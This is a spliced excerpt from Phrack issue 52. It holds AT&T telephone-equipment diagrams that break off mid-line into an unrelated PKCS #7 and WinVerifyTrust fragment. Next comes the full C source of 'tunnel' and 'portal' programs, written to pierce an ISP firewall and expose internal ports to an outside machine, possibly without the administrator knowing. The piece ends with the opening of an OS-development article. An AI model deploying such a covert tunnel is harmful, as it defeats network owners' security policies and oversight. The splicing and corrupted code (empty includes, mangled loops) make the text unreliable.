|AT&T|AT&T|AT&T|AT&T| |~~|~~|~~|~~|~~|~~|AT&T|AT&T|AT&T|AT&T| |
|* |* |* |* | | *| *| *| *| *| *|* |* |* |* | |
|* |* |* |* | | *| *| | | *| *|* |* |* |* | |
|* |* |* |* | | | | | | | |* |* |* |* | |
|* |* |* |* | | *| | | | | *|* |* |* |* | |
| || | || | || | || | | || || || || || || || | || | || | || | |
| || | || | || | || | |!||!||!||!||!||!|| || | || | || | || | |
|-----------------------------------------------------------------------|
|AT&T|AT&T|AT&T|AT&T| |~~|~~|~~|~~|~~|~~|AT&T|AT&T|AT&T|AT&T| |
|* |* |* |* | | *| *| *| *| *| *|* |* |* |* | |
|* |* |* |* | | *| *| | | *| *|* |* |* |* | |
|* |* |* |* | | | | | | | |* |* |* |* | |
|* |* |* |* | | *| | | | | *|* |* |* |* | |
| || | || | || | || | | || || || || || || || | || | || | || | |
| || | || | || | || | |!||!||!||!||!||!|| || | || | || | || | |
+-----------------------------------------------------------------------+
High Density Fiber Optics Shelf (HDOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The HDOS interfaces between the electrical signals on the MDSs and
optical signals on the Multi-Services Distant Terminals (MSDTs).
The following diagram roughly illustrates an HDOS assembly:
+-------------------------------------------------------------------+
|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|
|~~|~~|~~|~~| |~~|~~|~~|~~| |~~|~~|~~|~~| |~~|~~|~~|~~| |
| | | | | .| | | | | .| | | | | .| | | | | .|
| | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |
|OU|OU|OU|OU| |OU|OU|OU|OU| |OU|OU|OU|OU| |OU|OU|OU|OU| |
| || || || || || || || || || || || || || || || || || || || ||
| || || || ||PCU|| || || || ||PCU|| || || || ||PCU|| || || || ||PCU||
|-------------------------------------------------------------------+
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|-------------------------------------------------------------------+
|1 AMP FUSES -------> == == == == == == == == |
+-------------------------------------------------------------------+
Note: An HDOS contains 8 Optical Unit (OU) / Power Conversion Unit (PCU)
packs, not 4 as shown in the ASCII diagram.
Alarm and Test Unit (ATU)
~~~~~~~~~~~~~~~~~~~~~~~~~
The ATU panel reports alarms and trouble indicators using audible
alarms, visual indicators, and telemetry. In addition, the ATU provides
interfaces to the Pair Gain Test Controller (PGTC) and DC bypass pair
connections.
An ATU panel looks roughly like this:
+---------------------------------------------------------------------+
| | | | | | | | | | * * |
| | | | | | | | | | * * |
| | | | | | | | | | * * |
+---------------------------------------------------------------------+
Here is a close-up of the indicator lights on the far right end of the
ATU:
+--------------+
| __ __ |
Fault ---> | |/ |/ | | |/ |/ | | |/ |/ | 0 to allow user to assist in trust decision
DWORD dwTrustProvider, 0 = provider unknown, 1 = software publisher
DWORD dwActionID, specifies what to verify
LPVOID ActionData information required by the trust provider
)
The HRESULT return code will be TRUST_E_SUBJECT_NOT_TRUSTED if the object
is not trusted (according to the specified action in dwActionID). An error
code more detailed than this could be provided by the trust provider.
Creation of a Digitally Signed message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PKCS #7 specifies several "types", such as ContentInfo, SignedData and
SignerInfo. Version 1.5 of PKCS #7 describes the ContentInfo type as:
ContentInfo ::= SEQUENCE {
contentType ContentType,
content
[0] EXPLICIT ANY DEFINED BY contentType OPTIONAL }
ContentType ::= OBJECT IDENTIFIER
the content is (or better: MAY be) an octet-stream ASCII string to be passed
to the selected digest algorithm (an example is MD2, see RFC-1321).
The first step is to encode the ContentInfo field according to PKCS #7.
This is the resulting encoded data:
== DATA BLOCK #1 ==
{30 28} 06 09 0x0609: contentType = data
2A 86 48 86 F7 0D 01 07 01 PKCS #7 data-object ID
A0 1B [0] EXPLICIT
04 [msg_len] content = OCTET STRING
[octet stream representing
the ASCII string, msg_len bytes long] .n... . ...@.
BC C6 69 21 69 94 AC 04 F3 41 B5 7D 05 20 2D 42 ..i!i....A.}. -B
8F B2 A2 7B 5C 77 DF D9 B1 5B FC 3D 55 93 53 50 ...{\w...[.=U.SP
34 10 C1 E1 E1 4....
Many other demo (not only ;) keys, tons of related C++ source/libraries for
Linux and Win32 and documentation can be found on my web site at this address
(case sensitive):
http://members.tripod.com/~xception_0x0A28/penumbra.html
"That which does not kill us
makes us stronger"
-- Friedrich Nietzsche
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 16 of 20
-------------------------[ Piercing Firewalls
--------[ bishnu@hotmail.com
Introduction:
Many ISPs manage a firewall to protect their users against the hostile
Internet. While the firewall might protect the users, it also serves to limit
their freedom.
Most firewalls don't allow a connection to be established if the
initiative is coming from the outside, as this automatically disables many
security vulnerabilities. Unfortunately, this also means that many other
things are not possible; for example, sending an X-display to a machine behind
the firewall, or something similar.
One solution is to ask the firewall administrator to configure the firewall
not to disable X connections (or the port you plan to use. This normally
means allowing connections on port 6000 to penetrate the firewall. But often
the admin does not want to, as he is either too busy, hasn't figured out how
to configure the firewall yet, or simply refuses to, as it violates the site
security policy. Maybe you don't even want him to know that you plan to send
some traffic backwards.
For this purpose I wrote two simple programs that transmit TCP connections
back thorough a tunnel, to your machine.
The tunnel:
The solution is two programs, one running at your machine, or some other
machine behind the firewall, and another running at some *NIX-box on the
Internet. The program behind the firewall (called tunnel) connects to a
program (called portal) on the machine on the Internet. This connection
probably won't be intercepted by the firewall (depending on the security
policy), as it is outgoing. Once the connection from the tunnel to the portal
is established, the portal opens a port for incoming TCP traffic, and we are
ready to rock. Whenever a machine connects to the portal it sends the request
back to the tunnel thorough the already established connection through the
firewall, the tunnel will then forward the connection to your machine.
The effect will be that you drag a port on your machine (or any machine
behind the firewall) onto the other side of the firewall, which means that
anyone can connect to it regardless of the site's security policy.
An example:
Goof: Your machine.
Foo : Some other machine behind the firewall or same as Goof, running 'tunnel'.
Bar : Some machine on the other side of the firewall running 'portal'.
Boof: Some machine wanting to connect to machine Goof, or same as Bar.
FIREWALL
tunnel ^ portal
######### ^ #########
# Foo #======================# Bar #
######### ^ #########
| ^ |
| ^ |
| ^ |
######### ^ #########
# Goof # ^ # Boof #
######### ^ #########
FIREWALL
You are sitting on machine Goof, and you run some program on machine Boof,
this program happens to be using X-windows, so you want to send the display
back to machine Goof. X-windows tries to establish a TCP connection through
the firewall, which is 'burned'.
So you start the tunnel on machine Foo, and set it to connect to machine
Bar at lets say port 7000 (where the portal is running), also you set the
tunnel to forward all TCP connections, coming back from the portal, to your
machine Goof on port 6000 (X-windows). You start the portal on machine Bar,
and you make it listen for the tunnel on port 7000. Once the tunnel has
connected, the portal listens on port 6001 for incoming X. Whenever some
X-application connects to the portal, the connection is passed to the tunnel,
which then forwards it to machine Goof on port 6000.
Finally on machine Boof you set your display to machine Bar:1 (in a tcsh
type 'setenv DISPLAY bar:1', in bash 'export DISPLAY=bar:1'), which tells the
application to use port 6001 (We can't use port 6000 if the machine is running
a X-server itself). You start your Xeyes, and they pop in your face.
Conclusion:
If you use this program to cross a firewall you surely violate the ISP's
security policy, as anybody can cross it as well, that is if they know, and
there is nothing like security by obscurity. So don't tell your mom.
An advantage of this approach is that you don't need to have root access on
either machine, which is makes the whole process a bit easier.
To compile the code, just do a `make`. It has been tested on
Solaris 2.5.x, 2.6
IRIX 6.[2,3,4]
FreeBSD 2.1.5
HPUX 10.x
Linux 2.0.x
----[ THE CODE
tunnel/Makefile
CC = gcc
OSFLAGS =
MYFLAGS = -Wall -O2 -g -pedantic
CFLAGS = $(MYFLAGS) $(PROFILE) $(OSFLAGS)
#If you compile on Solaris 2.x, uncomment the following line
#LOCAL_LIBRARIES = -lsocket
TUNNEL_OBJFILES = tunnel.o share.o
PORTAL_OBJFILES = portal.o share.o
all: tunnel portal
tunnel : $(TUNNEL_OBJFILES) share.h
$(CC) $(TUNNEL_OBJFILES) $(LOCAL_LIBRARIES) -o tunnel
tunnel.o : tunnel.c share.h
$(CC) -c $(CFLAGS) $(COMMFLAGS) tunnel.c
portal : $(PORTAL_OBJFILES) share.h
$(CC) $(PORTAL_OBJFILES) $(LOCAL_LIBRARIES) -o portal
portal.o : portal.c share.h
$(CC) -c $(CFLAGS) $(COMMFLAGS) portal.c
share.o : share.c share.h
$(CC) -c $(CFLAGS) $(COMMFLAGS) share.c
clean:
rm -f *.o tunnel portal core
tunnel/tunnel.c
/*
-TUNNEL-
This is the tunnel part of my firewall piercer. This code is supposed
to be running on the inside of the firewall. The tunnel should then
connect to the portal running on the outside.
start it like:
>% tunnel localhost 23 protal.machine.com 3001
if the portal is running at port 3001 at portal.machine.com, incoming
connections to the portal will get rerouted to this machines telnet
port.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "share.h"
extern char tunnel_buf[MAXLEN*2];
char buf[MAXLEN*2];
extern int tunnel_des; /* The socket destination of a tunnel packet*/
extern int tunnel_src; /* The socket source of a tunel packet*/
extern int tunnel_size; /* Size of tunnel packet*/
extern struct connections connections; /*Linked list of connections*/
char *remote_machine; /*remote machine name to tunnel to*/
extern int tunnel_port; /*tunnel port*/
extern int tunnel_sock; /*tunnel socket*/
char *login_machine=""; /*machine to forward connections to*/
int login_port; /*port to forward connections to*/
int oldtime=0,ping_time=0;
struct connection *descriptors[DESC_MAX];
extern struct connection *descriptors[DESC_MAX];
extern int errno;
FILE *log=stdout; /*logfile = stdout by default*/
void open_tunnel(){
tunnel_sock=remote_connect(remote_machine,tunnel_port);
}
extern int optind;
extern char *optarg;
void usage(){
printf("Usage: tunnel [-l logfile] " \
" \n");
printf("where:\n");
printf("forward_machine is the machine to which the traffic is forwarded\n");
printf("forward_port is the port to which the traffic is forwarded\n");
printf("portal_machine is the machine we want to route the trafic from\n");
printf("portal_port is the port we want to route the trafic from\n");
printf("Coded by %s\n",AUTHOR);
}
/********************** Get the options ***********************/
void get_options(int argc,char *argv[]){
int c;
while((c=getopt(argc,argv, "l:")) !=-1)
switch(c){
case 'l':
if(!(log=fopen(optarg,"w"))){
log=stdout;
fprintf(log,"Unable to open logfile '%s':%s\n",
optarg,strerror(errno));
}
break;
case '?':
default:
usage();
exit(-1);
}
/* the two next options*/
if(argc-optind!=4){
printf("Wrong number of options!\n");
usage();
exit(-1);
}
login_machine=get_ip(argv[optind++]);
login_port=atoi(argv[optind++]);
remote_machine=get_ip(argv[optind++]);
tunnel_port=atoi(argv[optind++]);
if(login_port<1||login_port>65535||tunnel_port<1||tunnel_port>65535){
printf("Ports below 1 and above 65535 don't give any sense\n");
usage();
exit(-1);
}
}
void alive(){
/* To check wether the line is still alive, we Myping it every
ALIVE_TIME seconds. If we don't get a ping from the tunnel
every ALIVE_TIME*2 we disconnect the connection to the
portal, and wait for a new. If the portal has not died, all
the connections through the tunnel will continue as normal once
the connection has been established again.
The reason why I do this is because some firewalls tend to
disable connections if there hasn't been any traffic for some time,
or if the connection had been up too long time.
*/
/*Transmit a Myping packet, we receive the
answer in check_tunnel_connection()*/
if(time(NULL)-oldtime>=ALIVE_TIME){
oldtime=time(NULL);
transmit_tunnel(buf,0,0,0);
}
if(time(NULL)-ping_time>ALIVE_TIME*2){
printf("Connection to portal probably lost, hanging up.\n");
shutdown(tunnel_sock,2);
close(tunnel_sock);
tunnel_sock=-1;
}
}
int reset_selector(fd_set *selector,fd_set *errsel,struct connection *con)
{
/* We tell the selector to look on the tunnel socket aswell
as our live connections.*/
int maxsock,i;
FD_ZERO(selector);
FD_SET(tunnel_sock,selector);
FD_SET(tunnel_sock,errsel);
con=connections.head;
maxsock=tunnel_sock;
for(i=0;inext){
FD_SET(con->local_sock,selector);
FD_SET(con->local_sock,errsel);
maxsock=max(maxsock,con->local_sock);
}
return(maxsock); /*We return the maximum socket number*/
}
void check_tunnel_connection(fd_set *selector,fd_set *errsel,struct connection *con){
/*Here we check the tunnel for incoming data*/
if(FD_ISSET(tunnel_sock,errsel)){
fprintf(log,"Tunnel connection terminated!\n");
shutdown(tunnel_sock,2);
close(tunnel_sock);
tunnel_sock=-1;
return;
}
if(FD_ISSET(tunnel_sock,selector)){
if(receive_tunnel()!=-1){
if(tunnel_src==0&&tunnel_des==0){ /*We have a Myping packet*/
ping_time=time(NULL); /*reset the alive_timer*/
}
else if(tunnel_src==0){/*We have a 'hangup' signal for a connection*/
if((con=descriptors[tunnel_des])){
fprintf(log,"Removing connection to %s %d\n",con->host,con->port);
removeconnection(con);
}
}
else if(tunnel_des==0){ /*We have a new connection*/
int newsock;
if((newsock=remote_connect(login_machine,login_port))!=-1){
connections.num++;
con=(struct connection *)malloc(sizeof(struct connection));
con->host=(char *)malloc(MAX_HOSTNAME_SIZE);
strncpy(con->host,&tunnel_buf[4],MAX_HOSTNAME_SIZE);
con->port=ntohl((((int *)tunnel_buf)[0]));
con->local_sock=newsock;
con->remote_sock=tunnel_src;
con->time=time(NULL);
con->next=connections.head;
connections.head=con;
descriptors[newsock]=con;
fprintf(log,"Connected the incoming call from %s %d to %s %d\n",con->host,con->port,login_machine,login_port);
/*Acknowledge the new connection to the portal*/
transmit_tunnel(buf,0,con->local_sock,con->remote_sock);
}
}
else if(descriptors[tunnel_des]){
/*Send the data to the right descriptor*/
writen(descriptors[tunnel_des]->local_sock,tunnel_buf,tunnel_size);
}
else{
fprintf(log,"Connection to unallocated channel, hangup signal sent\n");
/*Send a hangup signal to the portal, to disable the connection*/
transmit_tunnel(buf,0,0,tunnel_src);
}
}
}
}
void main(int argc,char **argv)
{
get_options(argc,argv);
fprintf(log,"Opening tunnel to %s port %d\n",remote_machine,tunnel_port);
fprintf(log,"Tunnelconnections will be forwarded to host %s"\
" port %d\n",login_machine,login_port);
connections.num=0;
connections.head=NULL;
signal(SIGINT,ctrlC);
while(1){ /*The tunnel runs infinitely*/
struct connection *con=connections.head;
open_tunnel();
ping_time=time(NULL);
while(tunnel_sock!=-1){
fd_set selector,errsel;
struct timeval alive_time;
alive_time.tv_sec=ALIVE_TIME;
alive_time.tv_usec=0;
alive(); /*Check wether the tunnelconnection is alive*/
/* We have to listen to the tunnel and all the current connections.
we do that with a select call*/
if(select(reset_selector(&selector,&errsel,con)+1,
&selector,NULL,&errsel,&alive_time)){
/*Check for each of the local connections*/
check_local_connections(&selector,&errsel,con);
/*Check for the tunnel*/
check_tunnel_connection(&selector,&errsel,con);
}
}
sleep(RETRY_TIME); /*We sleep a while*/
/* fprintf(log,"Trying to connect to portal.\n"); */
}
}
tunnel/portal.c
/*
-PORTAL-
This is the portal part of my firewall piercer. This code is supposed
to be running on the outside of the firewall. The tunnel part should
then connect trough the firewall to this program.
start it like:
>% portal 3000 3001
for tunnel connection on port 3001 and incoming calls on 3000.
when you connect to the portal at port 3000 your connection will be
forwarded to the tunnel.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "share.h"
/***************/
/* Global data */
/***************/
extern char tunnel_buf[MAXLEN*2];
extern int tunnel_des;
extern int tunnel_src;
extern int tunnel_size;
extern struct connections connections;
extern struct connection *descriptors[DESC_MAX];
extern int errno;
extern int tunnel_port; /*tunnel port*/
extern int tunnel_sock; /*tunnel new accepted socket*/
char buf[MAXLEN*2];
char *remote_machine; /*remote machine name*/
int tunnel_basesock; /*tunnel base socket*/
int local_sock; /* local port socket*/
int local_port; /*local machine port*/
FILE *log=stdout; /*logfile = stdout by default*/
int ping_time=0;
/********************** Usage ***********************/
void usage(){
fprintf(stderr,"Usage: portal [-l logfile] \n");
fprintf(stderr,"where:\n");
fprintf(stderr,"local_port is the port where we accept incoming" \
" connections\n");
fprintf(stderr,"remote_port is the port where we accept the tunnel" \
" to connect\n");
fprintf(stderr,"Coded by %s\n",AUTHOR);
}
/********************** Get the options ***********************/
extern int optind;
extern char *optarg;
void get_options(int argc,char *argv[]){
int c;
while((c=getopt(argc,argv, "l:")) !=-1)
switch(c){
case 'l':
if(!(log=fopen(optarg,"w"))){
log=stdout;
fprintf(log,"Unable to open logfile '%s':%s\n",
optarg,strerror(errno));
}
break;
case '?':
default:
usage();
exit(-1);
}
/* the two next options*/
if(argc-optind!=2){
printf("Wrong number of options!\n");
usage();
exit(-1);
}
local_port=atoi(argv[optind++]);
tunnel_port=atoi(argv[optind++]);
if(local_port<1||local_port>65535||tunnel_port<1||tunnel_port>65535){
printf("Ports below 1 and above 65535 dont give any sense\n");
usage();
exit(-1);
}
}
/*********************************************************/
/*************** Portal *****************/
/*********************************************************/
void open_local_port(){
/*Open the local port for incoming connections*/
struct sockaddr_in ser;
int opt=1;
local_sock=socket(AF_INET,SOCK_STREAM,0);
if(local_sock==-1){fprintf(log,"Error opening socket\n");exit(0);}
if(setsockopt(local_sock,SOL_SOCKET,SO_REUSEADDR,
(char *)&opt,sizeof(opt))<0)
{perror("setsockopt REUSEADDR");exit(1);}
ZERO((char *) &ser,sizeof(ser));
ser.sin_family = AF_INET;
ser.sin_addr.s_addr = htonl(INADDR_ANY);
ser.sin_port = htons(local_port);
if(bind(local_sock,(struct sockaddr *)&ser,sizeof(ser)) ==-1 ){
fprintf(log,"Error binding to local port %d : %s\n"
,local_port,strerror(errno));
exit(-1);
}
if(listen(local_sock,5)==-1){
fprintf(log,"Error listening to local port %d : %s"
,local_port,strerror(errno));
exit(-1);
}
fprintf(log,"Opened local port %d on socket %d\n",local_port,local_sock);
}
void open_portal(){
int opt=0;
struct sockaddr_in ser;
if((tunnel_basesock=socket(AF_INET,SOCK_STREAM,0))==-1)
{perror("socket");exit(-1);}
if(setsockopt(tunnel_basesock,SOL_SOCKET,SO_REUSEADDR,
(char *)&opt,sizeof(opt))<0)
{perror("setsockopt REUSEADDR");exit(-1);}
ZERO((char *) &ser,sizeof(ser));
ser.sin_family = AF_INET;
ser.sin_addr.s_addr = htonl(INADDR_ANY);
ser.sin_port = htons(tunnel_port);
if(bind(tunnel_basesock,(struct sockaddr *)&ser,sizeof(ser)) ==-1 ){
fprintf(log,"Error binding to tunnel port %d : %s\n"
,tunnel_port,strerror(errno));
exit(-1);
}
if(listen(tunnel_basesock,5)==-1){
fprintf(log,"Error listening to tunnel port %d : %s"
,tunnel_port,strerror(errno));
exit(-1);
}
}
int accept_portal(){
struct hostent *from;
struct sockaddr_in cli;
int newsock,clilen;
clilen=sizeof(cli);
if(!tunnel_basesock){return(-1);}
/*Accept incoming calls*/
newsock=accept(tunnel_basesock,(struct sockaddr *)&cli,&clilen);
/*We want to know know our remote host better*/
from=gethostbyaddr((char *)(&cli.sin_addr),sizeof(cli.sin_addr),PF_INET);
if(!from){
close(newsock);
return(-1);
}
fprintf(log,"Tunnel connection from:%s %d\n",from->h_name,cli.sin_port);
return(newsock);
}
void close_portal(){
shutdown(tunnel_sock,1);
close(tunnel_sock);
}
struct connection *receive_local(){
struct sockaddr_in cli;
int newsock,clilen;
struct hostent *from;
struct connection *con;
clilen=sizeof(cli);
/*Accept incoming calls*/
newsock=accept(local_sock,(struct sockaddr *)&cli,&clilen);
if(newsock==-1)
{fprintf(log,"Server Accept Error:%s\n",strerror(errno));exit(-1);}
/*We want to know know our remote host better*/
from=gethostbyaddr((char *)(&cli.sin_addr),sizeof(cli.sin_addr), PF_INET);
fprintf(log,"New connection from:%s %d\n",from->h_name,cli.sin_port);
/*Add our new friend to our list of connections*/
connections.num++;
con=(struct connection *)malloc(sizeof(struct connection));
con->host=strdup(from->h_name);
con->port=cli.sin_port;
con->local_sock=newsock;
con->remote_sock=0;
con->time=time(NULL);
con->next=connections.head;
connections.head=con;
descriptors[newsock]=con;
return(con);
}
void alive(){
/* If we don't get a ping from the tunnel
every ALIVE_TIME*2 we disconnect the connection to the
tunnel, and wait for a new. If the tunnel has not died, all
the connections from the tunnel will continue as normal once
the connection has been established again*/
if(time(NULL)-ping_time>ALIVE_TIME*2){
printf("Connection to tunnel probably lost, hanging up.\n");
shutdown(tunnel_sock,2);
close(tunnel_sock);
tunnel_sock=-1;
}
}
int reset_selector(fd_set *selector,fd_set *errsel,struct connection *con){
/* We tell the selector to look on the tunnel socket aswell
as our live connections, and the connection socket.*/
int maxsock,i;
FD_ZERO(selector);
FD_SET(local_sock,selector);
FD_SET(tunnel_sock,selector);
FD_SET(local_sock,errsel);
FD_SET(tunnel_sock,errsel);
con=connections.head;
maxsock=max(local_sock,tunnel_sock);
for(i=0;inext){
FD_SET(con->local_sock,selector);
FD_SET(con->local_sock,errsel);
maxsock=max(maxsock,con->local_sock);
}
return(maxsock);
}
void check_tunnel_connection(fd_set *selector,fd_set *errsel,struct connection *con){
/*Here we check the tunnel for incoming data*/
if(FD_ISSET(tunnel_sock,errsel)){
fprintf(log,"Tunnel connection terminated!\n");
shutdown(tunnel_sock,2);
close(tunnel_sock);
tunnel_sock=-1;
return;
}
if(FD_ISSET(tunnel_sock,selector)){
if(receive_tunnel()!=-1){
if(tunnel_src==0&&tunnel_des==0){ /*We got a Myping*/
ping_time=time(NULL);
/* Ping the tunnel back!*/
transmit_tunnel(buf,0,0,0); /*Send a Myping back*/
}
else if(tunnel_des){
if(descriptors[tunnel_des]){
con=descriptors[tunnel_des];
if(tunnel_src!=0){
con->remote_sock=tunnel_src;
writen(descriptors[tunnel_des]->local_sock,tunnel_buf,tunnel_size);
}
else{
printf("Hangup signal received. Removing connection to %s %d\n",con->host,con->port);
removeconnection(con);
}
}
}
}
}
}
void check_connection_port(fd_set *selector,fd_set *errsel,struct connection *con){
/*Here we check the connection port for new connections*/
if(FD_ISSET(local_sock,selector)){
con=receive_local();
if(con){
printf("Transmitting the new connection\n");
*((int *)(&buf[4]))=htonl(con->port);
strncpy(&buf[8],con->host,MAX_HOSTNAME_SIZE);
*(&buf[8]+strlen(con->host))=0;
transmit_tunnel(buf,4+min(strlen(con->host)+1,MAX_HOSTNAME_SIZE),con->local_sock,0);
}
}
}
void main(int argc,char **argv){
get_options(argc,argv);
init_descriptors();
connections.num=0;
connections.head=NULL;
remote_machine=get_ip(argv[2]);
fprintf(log,"Tunneling incoming calls on port %d to port %d \n"
,local_port,tunnel_port);
connections.num=0;
connections.head=NULL;
fprintf(log,"Opening portal\n");
open_portal();
signal(SIGINT,ctrlC);
fprintf(log,"Opening localport\n");
open_local_port();
while(1){
fprintf(log,"Waiting for tunnel connection on port %d\n",tunnel_port);
while((tunnel_sock=accept_portal())==-1) sleep(4);
ping_time=time(NULL);
while(tunnel_sock!=-1){
fd_set selector,errsel;
struct connection *con=NULL;
struct timeval alive_time;
alive_time.tv_sec=ALIVE_TIME;
alive_time.tv_usec=0;
alive();
/* We have to listen to the tunnel, the local port, and alle the
current connections. */
if(select(reset_selector(&selector,&errsel,con)+1,
&selector,NULL,&errsel,&alive_time)){
check_tunnel_connection(&selector,&errsel,con);
check_connection_port(&selector,&errsel,con);
check_local_connections(&selector,&errsel,con);
}
}
sleep(2);
}
}
tunnel/share.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "share.h"
char tunnel_buf[MAXLEN*2]; /*Buffer to store the tunnel data in*/
int tunnel_des; /*Destination socket */
int tunnel_src; /*Source socket*/
int tunnel_size; /*Size of the data currently in the buffer*/
int tunnel_sock; /*The socket of the portal*/
int tunnel_port; /*The port we wan't to run on*/
extern FILE *log; /* Our log file*/
extern int errno;
struct connection *descriptors[DESC_MAX];
struct connections connections; /*A linked list of our connections*/
/*
Packet header:
####################################/
# Dest # Source# Data size # / data comes here
###################################\
1 byte 1 byte 2 bytes
If the sestination field is zero, we are initiating a new connection
If the source field we are dropping a connection
If both the destination and the source is zero, it is a Myping packet.
*/
void ctrlC(int sig)
{
fprintf(log,"Shutting down the hard way\n");
shutdown(tunnel_sock,2);
close(tunnel_sock);
exit(-1);
}
char *get_ip(char *host){
struct hostent *remote;
struct in_addr *in;
remote=gethostbyname(host);
if(remote==NULL){
fprintf(log,"Hostinformation of remote machine '%s' not resolved,"\
" reason:%s",host,strerror(errno));
exit(-1);
}
in=(struct in_addr *)remote->h_addr_list[0];
return(strdup(inet_ntoa(*in)));
}
int transmit_tunnel(char *data,int size,int source,int destination){
int nleft=size+4,nwritten;
fd_set selector,errsel;
data[0]=(unsigned char)destination; /*Destination into header*/
data[1]=(unsigned char)source; /*Source into header*/
*((u_short *)&data[2])=htons(size); /*Size into header*/
while(nleft>0){
FD_ZERO(&errsel);
FD_ZERO(&selector);
FD_SET(tunnel_sock,&errsel);
FD_SET(tunnel_sock,&selector);
select(tunnel_sock+1,NULL,&selector,&errsel,NULL);
if(FD_ISSET(tunnel_sock,&errsel)){
printf("Big bug\n");
}
nwritten=write(tunnel_sock,data,nleft);
if(nwritten==-1){
fprintf(log,"Error writing to tunnel:%s\n",strerror(errno));
tunnel_sock=-1;
return(nwritten);
}
else if(nwritten==0){
fprintf(log,"Error: Wrote zero bytes in transmit_tunnel\n");
return(nwritten);
}
nleft-=nwritten;
data+=nwritten;
}
return(size - nleft);
}
int receive_tunnel(){
static int received=0;
int n,left,got=0,quit=0,sofar=0;
received++;
while(sofar<4){
quit=0;
while(!quit){
n=read(tunnel_sock,&tunnel_buf[sofar],4-sofar);
if(n>0){quit=1;sofar+=n;}
if(n<1){
fprintf(log,"Connection terminated!\n");
shutdown(tunnel_sock,2);
close(tunnel_sock);
tunnel_sock=-1;
return(-1);
}
}
}
tunnel_des=tunnel_buf[0]; /*Fetch the destination*/
tunnel_src=tunnel_buf[1]; /*Fetch the source*/
tunnel_size=ntohs(*((u_short *)&tunnel_buf[2])); /*Fetch the size*/
left=tunnel_size;
while(left!=0){
n=read(tunnel_sock,&tunnel_buf[got],left);
if(n<0){
fprintf(log,"Connection terminated in receive_tunnel!\n");
shutdown(tunnel_sock,2);
close(tunnel_sock);
tunnel_sock=-1;
return(-1);
}
got+=n;
left-=n;
}
return(n);
}
void check_local_connections(fd_set *selector,fd_set *errsel,struct connection *con){
/*Here we check each of the local connections for incoming date*/
char buf[MAXLEN*2];
int i,n;
con=connections.head;
for(i=0;inext){
if(FD_ISSET(con->local_sock,errsel)){
fprintf(log,"LLocal connection terminated\n");
fprintf(log,"Removing connection to %s %d\n",con->host,con->port);
if(con->remote_sock) transmit_tunnel(buf,0,0,con->remote_sock);
removeconnection(con);
break;
}
if(FD_ISSET(con->local_sock,selector)&&con->remote_sock){
n=read(con->local_sock,&buf[4],MAXLEN);
if(n<1){
fprintf(log,"Local connection terminated\n");
fprintf(log,"Removing connection to %s %d\n",con->host,con->port);
transmit_tunnel(buf,0,0,con->remote_sock);
removeconnection(con);
break;
}
/*forward the data to the tunnel*/
transmit_tunnel(buf,n,con->local_sock,con->remote_sock);
}
}
}
void ZERO(char * buf,int size){int i=0;while(i0){
nwritten=write(fd,ptr,nleft);
if(nwritten<=0) return(nwritten);
nleft-=nwritten;
ptr+=nwritten;
}
return(nbytes - nleft);
}
int remote_connect(char *machine,int port)
{
int sock;
struct sockaddr_in ser;
ZERO((char *) &ser,sizeof(ser));
ser.sin_family = AF_INET;
ser.sin_addr.s_addr = inet_addr(machine);
ser.sin_port = htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock==-1){perror("Error opening socket\n");return(-1);}
if(connect(sock,(struct sockaddr *) &ser,sizeof(ser))==-1){
fprintf(log,"Can't connect to server:%s\n",strerror(errno));
return(-1);
}
return(sock);
}
void disconnect(struct connection *con,int sock1,int sock2){
fprintf(log,"Closing link to: %s %d\n",con->host,con->port);
shutdown(sock1,2);
shutdown(sock2,2);
close(sock1);
close(sock2);
close(con->local_sock);
}
void init_descriptors(){
int i;
for(i=0;inext;
descriptors[c->local_sock]=NULL;
free(c->host);
shutdown(c->local_sock,2);
close(c->local_sock);
free(c);
connections.num--;
return;
}
c2=c;
c=c->next;
while(c){
if(c==con){
/* connections.head=c2; */
c2->next=c->next;
descriptors[c->local_sock]=NULL;
free(c->host);
shutdown(c->local_sock,2);
close(c->local_sock);
free(c);
connections.num--;
return;
}
c2=c;
c=c->next;
}
}
tunnel/share.h
/*********************/
/* Structs & Defines */
/*********************/
#define MAX_HOSTNAME_SIZE 128
#define MAXLEN 32768 /*Maximum length of our data*/
#define ALIVE_TIME 60 /*Time to wait before sending a Myping*/
#define DESC_MAX 128 /*Maximum number of descriptors used*/
#define RETRY_TIME 60 /* Time to wait before we reconnect to portal*/
#define max(a,b) ((a>b)?a:b)
#define min(a,b) ((a
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 17 of 20
-------------------------[ Protected mode programming and O/S development
--------[ Mythrandir
----[ Forward
About two months ago I decided to begin learning about developing an operating
system from the ground up. I have been involved in trusted operating systems
development for over two years now but have always done my work with
pre-existing operating systems. Mucking with this driver model, deciphering
that streams implementation, loving this, hating that. I decided it was time
to begin fresh and start really thinking about how to approach the design
of one, so that I would be happy with every part. At least if I wasn't, I
would only be calling myself names.
This article is the first tentative step in my development of an operating
system. What is here is not really much of a kernel yet. The big focus of
this article will be getting a system up and running in protected mode with a
very minimal kernel. I stress minimal. I have been asked repeatedly what my
design goals for this operating system are. The fact is the operating system
itself was the goal for this part. There was simply to much that I didn't
know about this stage of the development to go on designing something. It
would be like asking a kindergarten fingerpainter what her final masterpiece
was going to look like.
However, now that I have this phase reasonably done, it is time to begin
thinking about such issues as: a security subsystem, a driver subsystem, as
well as developing a real task manager and a real memory manager. Hopefully,
by the next phrack I will be able to not only answer what I want for these
topics but have also implemented many of them. This will leave me with a much
more solid kernel that can be built upon.
So, why write this article? There are several reasons. First, writing down
what you have done always help solidify your thoughts and understanding.
Second, having to write an article imposes a deadline on me which forces me to
get the job done. Finally, and most importantly I hope to give out enough
knowledge that others who are interested in the subject can begin to do some
work in it.
One comment on the name. JeffOS is not going to be the final name for this OS.
